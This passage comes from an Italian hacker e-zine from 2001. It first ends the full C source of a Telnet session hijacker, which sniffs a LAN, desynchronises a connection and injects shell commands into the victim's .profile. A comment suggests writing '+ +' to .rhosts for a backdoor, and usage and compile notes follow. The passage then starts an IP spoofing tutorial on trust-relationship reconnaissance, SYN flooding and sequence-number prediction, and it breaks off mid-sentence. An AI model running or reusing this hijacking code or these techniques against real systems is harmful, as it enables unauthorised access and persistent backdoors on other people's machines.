| }; |
| |
| struct IPhdr |
| { |
| unsigned char verlen, type; /*versione-lunghezza |
| dell'header,tipo*/ |
| unsigned short tot_len, ID, flag_offset;/*lunghezza, id, |
| flags+offset*/ |
| unsigned char TTL, protocol;/*time to live, e il protocollo |
| utilizzato*/ |
| unsigned short checksum; |
| unsigned long int saddr, daddr;/*indirizzo ip sorgente,ip |
| destinazione*/ |
| }; |
| |
| struct TCPhdr |
| { |
| unsigned short source, dest; |
| unsigned long int seq, ack_seq; |
| unsigned short offset_flag, window, checksum, urgent; |
| }; |
| |
| struct pseudoIP |
| { |
| unsigned long int source, dest; |
| char zero_byte, protocol; |
| unsigned short TCP_UDP_len; |
| }; |
| |
| int if_init(char *device) |
| { |
| int if_fd; |
| struct ifreq netif; |
| char test; |
| if ((if_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) { |
| /*creazione del nostro raw socket*/ |
| perror("Can't Open PACKET SOCKET."); |
| exit(1); |
| } |
| |
| return if_fd; |
| } |
| |
| void ethclose() |
| { |
| struct ifreq eth; |
| strcpy(eth.ifr_ifrn.ifrn_name, INTERFACE); |
| if ( ioctl(fd_recive, SIOCGIFFLAGS, ð) < 0) { |
| fprintf(stderr, "Can't get Ethernet flags.\n"); |
| exit(1); |
| }
|
| eth.ifr_ifru.ifru_flags ^= IFF_PROMISC ; |
| if ( ioctl(fd_recive, SIOCSIFFLAGS, ð) < 0) { |
| fprintf(stderr, "Can't put Ethernet in PROMISC mode.\n"); |
| exit(1); |
| } |
| exit(0); |
| } |
| |
| |
| unsigned short in_cksum(unsigned short *addr,int len) |
| { |
| register long sum = 0; /* assumes long == 32 bits */ |
| register unsigned short *w = addr; |
| unsigned short answer = 0; /* assumes u_short == 16 bits */ |
| register int nleft = len;; |
| |
| /* |
| * Our algorithm is simple, using a 32-bit accumulator (sum), |
| * we add sequential 16-bit words to it, and at the end, fold back |
| * all the carry bits from the top 16 bits into the lower 16 bits. |
| */ |
| |
| while (nleft > 1) |
| { /* per tutta la funzione:il |
| checksum*/ |
| /* viene calcolato solo sull'header |
| IP*/ |
| /*non sui dati che trasmette*/ |
| sum += *w++; /*per la creazione di pacchetti |
| quali*/ |
| /*IP,UDP ecc dobbiamo calcolare*/ |
| /* il checksum...si fa con la |
| funzione*/ |
| nleft -= 2; /*rippata dal codice di |
| ping.c:-)))*/ |
| } |
| |
| /* mop up an odd byte, if necessary */ |
| if (nleft == 1) |
| { |
| *(u_char *) (&answer) = *(u_char *)w; /* one byte only */ |
| sum += answer; |
| } |
| |
| /* |
| * Add back carry outs from top 16 bits to low 16 bits. |
| */ |
| |
| sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ |
| sum += (sum >> 16); /* add carry */ |
| answer = ~sum; /* ones-complement, then truncate to 16 bits |
| */ |
| |
| return(answer); |
| } |
| |
| unsigned long nameResolve(char *hostname) |
| { |
| struct in_addr addr; |
| struct hostent *hostEnt; |
| |
| if((addr.s_addr=inet_addr(hostname)) == -1) |
| /*qui chiaramente fa il controllo sull'esistenza o meno del server*/ |
| { |
| if(!(hostEnt=gethostbyname(hostname))) |
| { |
| fprintf(stderr,"Unknown host:`%s`\n",hostname); |
| exit(0); |
| } |
| bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); |
| } |
| return addr.s_addr; |
| } |
| |
| |
| /* from Spoofit by coder@reptile */ |
| void wait_packet_timeout (int sig) |
| { |
| alarm(0); |
| WAIT_PACKET_WAIT_TIME=1; |
| } |
| |
| int wait_pk(int fd,struct wait_packet *infoz, |
| /* fd un socket di ricezione*/ |
| char *wp_source, unsigned short wp_source_port, |
| /* wp_source e wp_source_port sono coloro che mandano il pacchetto*/ |
| char *wp_dest, unsigned short wp_dest_port, int wp_flags, |
| int wait_time) |
| /*i due wp qui sono i riceventi*/ |
| { |
| char wp_buffer[1500]; |
| struct IPhdr *ip; |
| struct TCPhdr *tcp; |
| unsigned long sourcel, destl; |
| int tcpstart; |
| char proto; |
| |
| sourcel = nameResolve(wp_source); |
| destl = nameResolve(wp_dest); |
| |
| WAIT_PACKET_WAIT_TIME=0; |
| if(wait_time!=0) { |
| signal(SIGALRM,wait_packet_timeout); |
| alarm(wait_time); |
| } |
| |
| while(1) { |
| while(sniff_pk(fd, wp_buffer, &tcpstart, &proto)<=0) { |
| if (WAIT_PACKET_WAIT_TIME!=0) { |
| alarm(0); |
| return -1; |
| } |
| }; |
| if(proto == 6) { |
| ip= (struct IPhdr *) wp_buffer; |
| tcp= (struct TCPhdr *) (wp_buffer+tcpstart); |
| if((sourcel==ip->saddr) && (destl==ip->daddr)) { |
| if(((ntohs(tcp->source)==wp_source_port) |
| || (wp_source_port==0)) && |
| ((ntohs(tcp->dest)==wp_dest_port) |
| || (wp_dest_port==0))) { |
| if( (wp_flags==0) || |
| (ntohs(tcp->offset_flag)&wp_flags)) |
| { |
| infoz->source_p=ntohs(tcp->source); |
| infoz->dest_p=ntohs(tcp->dest); |
| infoz->seq=ntohl(tcp->seq); |
| infoz->ack=ntohl(tcp->ack_seq); |
| infoz->flags=ntohs(tcp->offset_flag)& |
| (URG|ACK|PSH|FIN|RST|SYN); |
| infoz->datalen = ntohs(ip->tot_len) - |
| ((ip->verlen & 0xF) << 2) - |
| ((ntohs(tcp->offset_flag) & 0xF000) >> 10); |
| alarm(0); |
| return 0; |
| } |
| } |
| } |
| } |
| } |
| } |
| |
| void trans_tcp (int sp_fd, char *sp_data,int sp_ipoptlen, int sp_tcpoptlen, |
| int sp_datalen, char *sp_source, unsigned short |
| sp_source_port, |
| char *sp_dest, unsigned short sp_dest_port, unsigned long |
| sp_seq, unsigned long sp_ack, unsigned short sp_flags) |
| |
| /* trans nel senso trasmittente...insomma,ci siamo |
| capiti;-)*/ |
| { |
| char sp_buffer[1500]; |
| char pseudoconstruct[MTU]; |
| struct pseudoIP *pseudo; |
| struct TCPhdr *newtcp; |
| struct IPhdr *newip; |
| int shooten; |
| struct sockaddr_in target; |
| |
| bzero(sp_buffer,1500); |
| if (sp_datalen!=0) |
| |
| memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, |
| sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); |
| |
| newtcp=(struct TCPhdr *)(sp_buffer+IP_HEAD_BASE+sp_ipoptlen); |
| pseudo=(struct pseudoIP *) pseudoconstruct; |
| |
| newtcp->offset_flag = htons( (((TCP_HEAD_BASE+sp_tcpoptlen)/4)<<12) |
| |
| sp_flags); |
| newtcp->seq = htonl(sp_seq); |
| newtcp->ack_seq = htonl(sp_ack); |
| newtcp->source = htons(sp_source_port); |
| newtcp->dest = htons(sp_dest_port); |
| newtcp->window = htons(0x7c00); |
| |
| pseudo->source = nameResolve(sp_source); |
| pseudo->dest = nameResolve(sp_dest); |
| pseudo->zero_byte = 0; |
| pseudo->protocol = 6; |
| pseudo->TCP_UDP_len = htons(sp_datalen+TCP_HEAD_BASE+sp_tcpoptlen); |
| |
| memcpy(pseudoconstruct+12, newtcp, |
| sp_tcpoptlen+sp_datalen+TCP_HEAD_BASE |
| ); |
| newtcp->checksum=in_cksum((unsigned short *) pseudoconstruct, |
| sp_datalen |
| + 12 + TCP_HEAD_BASE + sp_tcpoptlen); |
| |
| newip = (struct IPhdr *) (sp_buffer); |
| newip->checksum=0; |
| newip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp_ipoptlen)/4); |
| newip->type = 0; |
| newip->tot_len = htons(IP_HEAD_BASE + TCP_HEAD_BASE + sp_datalen |
| + sp_ipoptlen + sp_tcpoptlen); |
| newip->ID = htons(12545); |
| newip->flag_offset = 0; |
| newip->TTL = 255; |
| newip->protocol = IPPROTO_TCP; |
| newip->saddr = nameResolve(sp_source); |
| newip->daddr = nameResolve(sp_dest); |
| newip->checksum=in_cksum((unsigned short *) (sp_buffer), |
| IP_HEAD_BASE |
| + sp_ipoptlen); |
| |
| bzero((char *) &target, sizeof(struct sockaddr)); |
| target.sin_family = AF_INET; |
| target.sin_addr.s_addr = nameResolve(sp_dest); |
| |
| shooten = sendto(sp_fd, (char *)(sp_buffer), sp_datalen + |
| TCP_HEAD_BASE |
| + IP_HEAD_BASE + sp_ipoptlen, 0, (struct sockaddr *) &target, |
| sizeof(struct sockaddr)); |
| |
| } |
| |
| int sniff_pk |
| (int sniff_fd, char *buffer, int *tcpstart, char *proto) |
| { |
| struct IPhdr *IP; |
| char sniff_buffer[1500]; |
| int pack_len; |
| |
| pack_len = read(sniff_fd, sniff_buffer, MTU); |
| if (read > 0) { |
| pack_len -=DEV_PREFIX; |
| memcpy(buffer, sniff_buffer+DEV_PREFIX, pack_len); |
| IP = (struct IPhdr *)buffer; |
| if (proto != NULL) *proto = IP->protocol ; |
| if(tcpstart != NULL) |
| *tcpstart = (IP->verlen & 0xF) << 2; |
| } |
| return pack_len; |
| } |
| |
| |
| /*ok...tutto quello che c'era lì sopra è contenuta nel bellissimo spoofit.h |
| di*/ |
| /*coder@reptile!*/ |
| /*avrei anche fatto prima...ma così pochi se lo sarebbero letto e |
| avrebbero*/ |
| /* realmente capito!*/ |
| /*ora iniziamo la parte finale del codice...il main&co...good work! |
| */ |
| |
| |
| int main(int argc, char *argv[]) |
| { |
| int h,k,cont; |
| char CLIENT[100], SERVER[100] ; |
| /*fin qui direi che chiaro,no:-PP*/ |
| int CLIENT_PORT ; |
| struct wait_packet pk_info; |
| unsigned long spoof_seq, spoof_ack; |
| unsigned long old_seq, old_ack; |
| unsigned long serv_seq, serv_ack; |
| |
| char cleaner[]={0x08,0x08,0x08,0x08,0x08,0x08,0x0a,0x0a}; |
| /*sono i dati che ci servono per pulire*/ |
| |
| /*la linea della shell...dove poi mettiamo i nostri dati!*/ |
| char evil_data[]="echo \"echo SESSION HACKED BY CITY HUNTER!Pay |
| attention next time!!\" >>$HOME/.profile\n"; |
| /*la riga sopra è quella fondamentale per i nostri loschi scopi!*/ |
| /*Provate a fare qualcosa di simile a "echo + + >>/.rhosts"*/ |
| /*lo fece un tipo di nome Mitnick...qualcosa di simile:-)))(ha |
| usato*/ |
| /* lo spoofing cieco lui)*/ |
| if(argc!=4) |
| { |
| printf("\n\t|**************************************************|"); |
| printf("\n\t| Hjtel -Telnet Hijacker- by City Hunter |\n"); |
| printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++++|\n"); |
| printf("\t| %s CLiENT H0ST TCP P0RT TARGET |\n", |
| argv[0]); |
| |
| printf("\t|**************************************************|\n\n"); |
| exit(1); |
| } |
| strcpy(CLIENT, argv[1]); |
| strcpy(SERVER, argv[3]); |
| CLIENT_PORT=atoi(argv[2]); |
| |
| DEV_PREFIX = INTERFACE_PREFIX ; |
| if ((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0 ) { |
| perror("Non riesco ad aprire il RAW S0CKETS "); |
| exit(1); |
| } |
| fd_recive = if_init(INTERFACE); |
| printf("\n\t|************************************************|"); |
| printf("\n\t| Hjtel -Telnet Hijacker- by City HUnter |\n"); |
| printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++|\n"); |
| printf("\t| (si dia inizio alle danze!:-)) |\n"); |
| printf("\t|************************************************|\n\n"); |
| |
| |
| for (h=0;h<50;h++) { |
| printf(">-------------------------------->\n"); |
| printf(" STEP #1 : TELNET Sniff'n'Desync \n"); |
| printf("<--------------------------------<\n"); |
| |
| wait_pk(fd_recive, &pk_info, CLIENT, CLIENT_PORT, SERVER, |
| 23, ACK|PSH,0); |
| spoof_seq=pk_info.seq + pk_info.datalen; |
| spoof_ack=pk_info.ack; |
| printf("\nCCCII Sto sniffando la connessione TTTYY\n"); |
| printf("%s:%i > %s:23 SEQ:%X (hex) ACK:%X (hex)\n", CLIENT, |
| CLIENT_PORT, SERVER, pk_info.seq, pk_info.ack); |
| printf("\nHUN Sp00fing to Desync TER\n"); |
| printf("Sending TCP packet with SEQ %X ACK %X |
| FLAGS:ACK|PSH", |
| spoof_seq, spoof_ack); |
| trans_tcp(fd_send, cleaner, 0, 0, sizeof(cleaner), CLIENT, |
| CLIENT_PORT, SERVER, 23, spoof_seq, spoof_ack, ACK|PSH); |
| cont = 0; |
| printf("\n\n>LO Waiting f0r Desync_C0nfirm VE<\n"); |
| while (cont<5) { |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, |
| CLIENT_PORT, ACK,0); |
| if(pk_info.ack==spoof_seq + sizeof(cleaner)) |
| cont=MY_TOUCH; |
| else cont++; |
| } |
| if(cont!=MY_TOUCH) { |
| printf("\t<--------------------------------->\n"); |
| printf("\t STEP #1 N0T SUCCEDED ... L00PiNG\n"); |
| printf("\t<--------------------------------->\n"); |
| } |
| else { |
| printf("### Step #1 0K. ###\n"); |
| printf(">>> YEAHHHHHHH <<<\n"); |
| break; |
| } |
| } |
| |
| printf("\n<------------------------------------<\n"); |
| printf(" STEP #2 - GETTING SYN/ACK 0NCE M0RE\n"); |
| printf(">------------------------------------>\n"); |
| cont = serv_seq = old_ack = 0; |
| while(cont<10) { |
| old_seq = serv_seq; |
| old_ack = serv_ack; |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |
| ACK,0); |
| if (pk_info.datalen == 0) { |
| serv_seq=pk_info.seq + pk_info.datalen; |
| serv_ack=pk_info.ack; |
| if ((old_seq==serv_seq)&&(serv_ack==old_ack)) |
| cont = MY_TOUCH; |
| else cont++; |
| } |
| } |
| if(cont!=MY_TOUCH) { |
| printf("\t<-------------------------------->\n"); |
| printf("\t STEP #2 NOT SUCCEDED. SHIT!!! \n"); |
| printf("\t<-------------------------------->\n"); |
| exit(0); |
| } |
| printf("Server SEQ: %X (hex)\tACK: %X (hex)\n", serv_seq, serv_ack); |
| printf(">HA Step #2 0K. CK<\n"); |
| |
| |
| printf("\n<----------------------------------------------------<\n"); |
| printf(" STEP #3 - SENDING 0UR DATA |
| \n"); |
| printf(">---------------------------------------------------->\n"); |
| printf(">>> HIHIHIHI Injecting Evil Data in the connection <<<\n"); |
| trans_tcp(fd_send, evil_data, 0, |
| 0,sizeof(evil_data),CLIENT,CLIENT_PORT, |
| SERVER, 23, serv_ack, serv_seq, ACK|PSH); |
| cont=0; |
| printf("\n>>> Waiting for Confirm <<<\n"); |
| while(cont<5) { |
| wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |
| ACK,0); |
| if(pk_info.ack==serv_ack+sizeof(evil_data)) |
| cont=MY_TOUCH; |
| else cont++; |
| } |
| if (cont!=MY_TOUCH) { |
| printf("\t<--------------------->\n"); |
| printf("\t STEP #3 N0T SUCCEDED\n"); |
| printf("\t<--------------------->\n\n"); |
| exit(0); |
| } |
| printf("*** STEP #3 0K ***\n\n"); |
| printf(" >>> Great Hijacking :-)) <<< \n"); |
| printf(" <<< SEE YA GUYS <<<\n"); |
| exit(0); |
| } |
| |
| ---------------------------------------taglia acchì-------------------------- |
| |
| Ok!!!Abbiamo finito! Il codice è stato compilato con successo su Mandrake8.0. |
| "gcc -o HjTel HjTel.c" per compilarlo. |
| Ultime precisazioni:questo genere di attacco è molto duro da attuare su |
| Internet. Se non siete su una LAN avrete vita davvero dura!Quindi il supporto |
| ppp è abbastanza inutile,se volete provare questo Telnet Hijacker mettetelo |
| sotto Eth. |
| Credo di aver finito il tutto...spero abbiate capito qualcosina e per |
| qualsiasi |
| cosa scrivetemi! |
| Ora vado a vedermi le Iene!Ancora una cosa...se create voi qualcosa di |
| carino... |
| mandatemelo!!!! |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| iP SP00FiNG ATTACK [E4zy] 0x08/0x23 |
+-------------------------------------------------------------------------------+
| Credits: |
| |
| Ringrazio tutti coloro che si sono resi disponibili dando il loro contributo |
| |
| con idee e suggerimenti che si sono rivelati utili nella stesura del |
| presente articolo, un ringraziamento particolare va anche a tutti coloro che |
| |
| mi hanno assecondato nelle mie seghe mentali sui protocolli, grazie zapotecz |
| |
| :)) |
| Un grande fuck va invece al lamer che di fronte a una mia domanda ha reagito |
| |
| in questo modo: |
| |
| <E4zy> devo isolare la formula che permette di predire un numero sequenziale |
| in una sessione spoofed |
| <[Gi0bbE]> E4zy: come cazzo parli? |
| *** E4zy was kicked by [Gi0bbE] |
| |
| E poi ci lamentiamo dell'underground italiano... |
| Finito questo sfogo personale passiamo all'articolo :) |
| |
| Indice: |
| |
| 1. Relazioni di fiducia |
| 1.1 In cosa consistono (.rhosts) |
| 1.2 Come trovarle (showmount -e, rpcinfo) |
| 1.2.1 Esempio |
| |
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) |
| |
| 3. TCP/IP |
| 3.1 Schema intestazione TCP |
| 3.2 Handshaking a tre vie del TCP |
| 3.3 Numero sequenziale iniziale (ISN) |
| |
| 4. IP Spoofing |
| 4.1 SYN flood |
| 4.1.1 Esempio |
| 4.2 Predizione del numero sequenziale |
| 4.2.1 Esempio |
| 4.3 Impersonificazione dell'host di fiducia |
| 4.3.1 Esempio |
| |
| 5. Backdoor |
| 5.1 Esempio |
| |
| 6. Parte pratica |
| 6.1 Uso di Nmap e del programma Mendax |
| |
| 7. Contromisure |
| |
| |
| 1. Relazioni di fiducia |
| Il file .rhosts gestisce l'accesso remoto al proprio account utente, sarà |
| sufficiente creare un file con tale nome opportunamente configurato e |
| posizionarlo nella propria home directory per dar modo agli utenti remoti di |
| |
| loggarsi al sistema senza bisogno di fornire password alcuna. Questo sistema |
| |
| di autenticazione è appunto basato sull'ip address che assume un ruolo di |
| garante nella procedura di login. |
| |
| 1.1 In cosa consistono (.rhosts) |
| La creazione di un file .rhosts è una procedura sin troppo banale, si crei |
| un file di nome .rhosts e lo si posizioni all'interno della propria home |
| directory, sarà sufficiente inserire al suo interno quanto segue: |
| |
| hostname username |
| |
| Dove "hostname" e "username" sono rispettivamente l'hostname e l'username |
| del sistema remoto a cui concediamo l'accesso. L'impiego di un client rlogin |
| |
| permette l'autenticazione senza password. |
| |
| 1.2 Come trovarle (showmount -e, rpcinfo) |
| Comandi come finger, showmount e rpcinfo possono rivelare informazioni utili |
| |
| nell'individuazione di sistemi che godano di una relazione di fiducia con |
| l'host target. |
| |
| 1.2.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The |
| first probes were from toad.com (this info derived from packet logs): |
| |
| 14:09:32 toad.com# finger -l @target |
| 14:10:21 toad.com# finger -l @server |
| 14:10:50 toad.com# finger -l root@server |
| 14:11:07 toad.com# finger -l @x-terminal |
| 14:11:38 toad.com# showmount -e x-terminal |
| 14:11:49 toad.com# rpcinfo -p x-terminal |
| 14:12:05 toad.com# finger -l root@x-terminal |
| |
| The apparent purpose of these probes was to determine if there might be some |
| |
| kind of trust relationship amongst these systems which could be exploited |
| with an IP spoofing attack. The source port numbers for the showmount and |
| rpcinfo indicate that the attacker is root on toad.com." |
| |
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) |
| Quella che segue è la sintassi per esteso del comando rlogin, le parentesi |
| quadre indicano opzionalità: |
| |
| rlogin hostname [-l username] |
| |
| Dall'esecuzione del comando rlogin ne deriverà l'autenticazione sul sistema |
| remoto basata sull'indirizzo ip del sistema richiedente il servizio, sarà a |
| questo punto possibile eseguire comandi godendo dei privilegi associati |
| all'utente. |
| |
| 3. TCP/IP |
| Il TCP (Transmission Control Protocol) è responsabile delle comunicazioni |
| orientate alla connessione su una rete TCP/IP. Per garantire un buon livello |
| |
| di attendibilità della comunicazione, durante una sessione TCP i due host si |
| |
| servono di numeri sequenziali e di conferme per assicurare un corretto |
| trasferimento dei pacchetti (connesso e confermato). |
| La maggior parte del traffico è incapsulato in intestazioni IP (Internet |
| Protocol), esso offre la consegna di informazioni senza connessione e senza |
| garanzia (non connesso e non confermato), significa che il protocollo IP non |
| |
| provvede ad effettuare alcun controllo sulle informazioni inviate. Ne |
| consegue che i pacchetti potrebbero non giungere a destinazione o arrivare |
| in ordine non sequenziale. Questo rende facile sovvertire tale protocollo |
| allo scopo di forgiare pacchetti aventi indirizzo sorgente arbitrario. |
| |
| 3.1 Schema intestazione TCP |
| Tratto dall'RFC 793 "Transmission Control Protocol" |
| |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Port | Destination Port | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Sequence Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Acknowledgment Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Data | |U|A|P|R|S|F| | |
| | Offset| Reserved |R|C|S|S|Y|I| Window | |
| | | |G|K|H|T|N|N| | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Checksum | Urgent Pointer | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| 3.2 Handshaking a tre vie del TCP |
| Quando un host mittente (M) vuole stabilire una connessione TCP con un host |
| destinatario (D), quest'ultimo deve acconsentire affinchè la comunicazione |
| abbia luogo. Questo meccanismo è conosciuto con il nome di handshaking a tre |
| |
| vie del TCP, si possono isolare tre fasi: |
| |
| 1) L'host che desidera stabilire una sessione invia all'host destinatario un |
| |
| pacchetto TCP con il flag SYN pari a 1. Invia inoltre il proprio numero |
| sequenziale iniziale (ISN) all'host destinatario. |
| 2) L'host destinatario nel caso decida di accettare la richiesta di |
| connessione risponde con una conferma impostando i flag SYN e ACK pari a 1. |
| Il campo acknowledgment number viene impostato pari al valore dell'ISN |
| ricevuto precedentemente incrementato di uno. Invia inoltre il proprio |
| numero sequenziale iniziale (ISN) all'host mittente. |
| 3) L'host mittente risponde ancora una volta all'host destinatario con un |
| pacchetto TCP con il flag ACK uguale a 1 e il campo acknowledgment number |
| impostato pari al valore dell'ISN dell'host destinatario ricevuto in |
| precedenza incrementato di uno. |
| |
| |
| 1 M --> D SYN=1, ISN=100 |
| |
| 2 M <-- D SYN=1, ACK=1, ack=101, ISN=250 |
| |
| 3 M --> D ACK=1, ack=251 |
| |
| M = mittente |
| D = destinatario |
| |
| |
| 3.3 Numero sequenziale iniziale (ISN) |
| Il valore dell'ISN viene impostato pari a 1 al momento del boot del sistema, |
| |
| esso cambia il proprio valore in base la tempo trascorso da tale operazione, |
| |
| più precisamente il generatore di ISN incrementa il valore del sequence |
| number di 128.000 ogni secondo e di 64.000 ad ogni nuova connessione |
| instaurata. |
| |
| 4. IP Spoofing |
| Il primo passo consiste nello scegliere un sistema bersaglio, si individuino |
| |
| gli host che godano di una relazione di fiducia con l'host bersaglio, è |
| necessario disabilitare l'host di fiducia tramite un attacco SYN flood, a |
| questo punto si procede al campionamento dell'ISN dell'host bersaglio allo |
| scopo di facilitare la predizione di tale numero durante l'instaurazione |
| della sessione spoofed, una volta instaurata la connessione ad un servizio |
| che richiede l'autenticazione mediante IP address avremo la possibilità di |
| eseguire una backdoor sul sistema bersaglio che ci garantirà un accesso |
| agevole in futuro. |
| Questa tecnica è conosciuta anche con il termine di "attacco cieco" questo è |
| |
| dovuto al fatto che l'IP spoofing non ci permette di instaurare una |
| connessione bidirezionale con l'host bersaglio, di fatto tutto il traffico |
| di ritorno sarà instradato verso l'host di fiducia che sarà impossibilitato |
| nel fornire qualsiasi risposta. |
| |
| 4.1 SYN flood |
| Una volta trovato un host che goda di relazioni di fiducia nei confronti di |
| un potenziale sistema bersaglio bisogna metterlo nelle condizioni di non |
| poter rispondere al traffico di ritorno generato nel momento in cui lo |
| impersoneremo allo scopo di instaurare una sessione spoofed. Se l'host di |
| fiducia ricevesse un SYN/ACK dall'host bersaglio risponderebbe con un RST |
| che manderebbe tutto a monte. Noi non vogliamo che questo accada, vero? :) |
| Per ovviare a tale problema provvederemo a inondare (flooding) l'host che |
| gode di relazioni di fiducia con una grossa quantità di richieste di SYN |
| (richiesta di connessione) senza chiudere l'handshake ovvero una volta |
| ricevuto il SYN/ACK dall'host remoto non forniremo alcun ACK lasciando la |
| connessione in uno stato di attesa. Questo risulterà nell'esaurimento della |
| coda adibita alle connessioni in stato di attesa, di conseguenza ogni altra |
| connessione verrà ignorata. |
| |
| 4.1.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "About six minutes later, we see a flurry of TCP SYNs (initial connection |
| requests) from 130.92.6.97 to port 513 (login) on server. The purpose of |
| these SYNs is to fill the connection queue for port 513 on server with |
| "half-open" connections so it will not respond to any new connection |
| requests. In particular, it will not generate TCP RSTs in response to |
| unexpected SYN-ACKs. |
| |
| As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login |
| can now be safely used as the putative source for an address spoofing attack |
| |
| on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be a random |
| (forged) unused address (one that will not generate any response to packets |
| sent to it): |
| |
| |
| 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) |
| win 4096 |
| 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) |
| win 4096 |
| 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) |
| win 4096 |
| 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) |
| win 4096 |
| 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) |
| win 4096 |
| 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) |
| win 4096 |
| 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) |
| win 4096 |
| 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) |
| win 4096 |
| 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) |
| win 4096 |
| 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) |
| win 4096 |
| 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) |
| win 4096 |
| 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) |
| win 4096 |
| 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) |
| win 4096 |
| 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) |
| win 4096 |
| 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) |
| win 4096 |
| 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) |
| win 4096 |
| 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) |
| win 4096 |
| 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) |
| win 4096 |
| 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) |
| win 4096 |
| 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) |
| win 4096 |
| 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) |
| win 4096 |
| 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) |
| win 4096 |
| 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) |
| win 4096 |
| 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) |
| win 4096 |
| 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) |
| win 4096 |
| 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) |
| win 4096 |
| 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) |
| win 4096 |
| 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) |
| win 4096 |
| 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) |
| win 4096 |
| 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) |
| win 4096 |
| |
| server generated SYN-ACKs for the first eight SYN requests before the |
| connection queue filled up. server will periodically retransmit these |
| SYN-ACKs as there is nothing to ACK them." |
| |
| 4.2 Predizione del numero sequenziale |
| L'attacker a questo punto stabilisce un gran numero di connessioni con il |
| sistema bersaglio allo scopo di campionare la generazione degli ISN da parte |
| |
| dell'host remoto, questo gli consentirà di predire con sufficiente |
| precisione l'ISN della sessione spoofed che si appresta a instaurare. Un |
| ulteriore fattore che influisce sulla predizione dell'ISN è rappresentato |
| dal valore del round trip time (RTT) ovvero il tempo necessario affinchè il |
| pacchetto compia il tragitto che separa la propria postazione dall'host |
| bersaglio e torni indietro. |
| Avendo il valore di un ISN precedentemente campionato, il tempo trascorso da |
| |
| tale campionamento, tenendo conto che il numero sequenziale viene |
| incrementato di 128.000 ogni secondo e che un pacchetto necessita di un |
